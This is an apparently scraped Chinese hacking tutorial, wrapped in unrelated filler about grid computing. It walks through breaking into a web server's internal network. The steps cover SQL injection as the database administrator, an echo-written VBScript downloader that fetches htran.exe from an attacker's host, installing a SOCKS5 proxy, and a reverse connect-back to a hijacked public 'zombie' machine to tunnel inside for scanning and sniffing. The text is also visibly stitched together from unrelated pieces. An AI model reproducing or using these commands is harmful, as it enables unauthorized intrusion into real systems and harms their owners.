網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機(jī)、存儲資源、數(shù)據(jù)資源、信息資源、知識資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 一、踩點(diǎn)主機(jī): http://www.baidu.com/ OS:Windows 2000 + IIS 5.0 + MSSQL 端口:80 21 數(shù)據(jù)庫放內(nèi)網(wǎng),IP為 192.168.1.2 ,更重要的是內(nèi)網(wǎng)數(shù)據(jù)庫可以上網(wǎng). 首頁存在注入漏洞,sa登陸. 注入點(diǎn): http://www.baidu.com/list.asp?id=1 二、入侵思路 1.給內(nèi)網(wǎng)目標(biāo)機(jī)裝個代理服務(wù)器 2.把弄好的那個代理端口映到公網(wǎng). 3.本機(jī)用sockscap連接公網(wǎng)映的那個端口,這樣,自己也就進(jìn)到了內(nèi)網(wǎng)。 4.接下來就是找共享,嗅探,社會工程學(xué)等等了。 三、入侵準(zhǔn)備 1.公網(wǎng)肉雞一只:218.3.1.1 2.工具:htran2.4,SocksCap,掃描器一份,NBSI 2.0一份。 3.A表示數(shù)據(jù)庫主機(jī),B表示公網(wǎng)肉雞 C表示網(wǎng)站放Web的地方 D表示本機(jī)(也在內(nèi)網(wǎng)) 4.A:192.168.1.2 B:218.3.1.1 C:www.baidu.com D:192.168.0.25 四、入侵進(jìn)行時 1.工具上傳: 在nbsi下執(zhí)行: echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >down.vbs 然后下載工具: cscript down.vbs http://IP/htran.exe htran.exe //到我的空間下載htran.exe 2.安裝Socks5服務(wù) 在nbsi下執(zhí)行: htran.exe -install //安裝Socks5服務(wù) htran.exe -start //啟動Socks5服務(wù) 3.反彈進(jìn)行時 在B上運(yùn)行: htran.exe -s -listen 520 5200 //監(jiān)聽端口 在nbsi下執(zhí)行:htran.exe -s -connect 218.3.1.1 520 3.進(jìn)入內(nèi)網(wǎng) 現(xiàn)在用SocksCap連接 218.3.1.1 的5200端口,就等于進(jìn)入了他的內(nèi)網(wǎng)。 五、滲透內(nèi)網(wǎng) 接下來就可以掃描,嗅探,等等,也就是后話了。 六、總結(jié) 文章技術(shù)性不高,有錯的地方希望高手指出,偶是菜鳥,也希望這篇文章對大家有所幫助。 網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項技術(shù)都需要適時應(yīng)勢,對應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!